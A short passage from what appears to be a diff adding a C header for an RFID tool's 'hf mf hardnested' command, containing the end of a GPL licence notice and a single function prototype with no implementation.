licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// hf mf hardnested command +//----------------------------------------------------------------------------- + +int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t * key, uint8_t trgBlockNo, uint8_t trgKeyType, bool nonce_file_read, bool nonce_file_write, bool slow);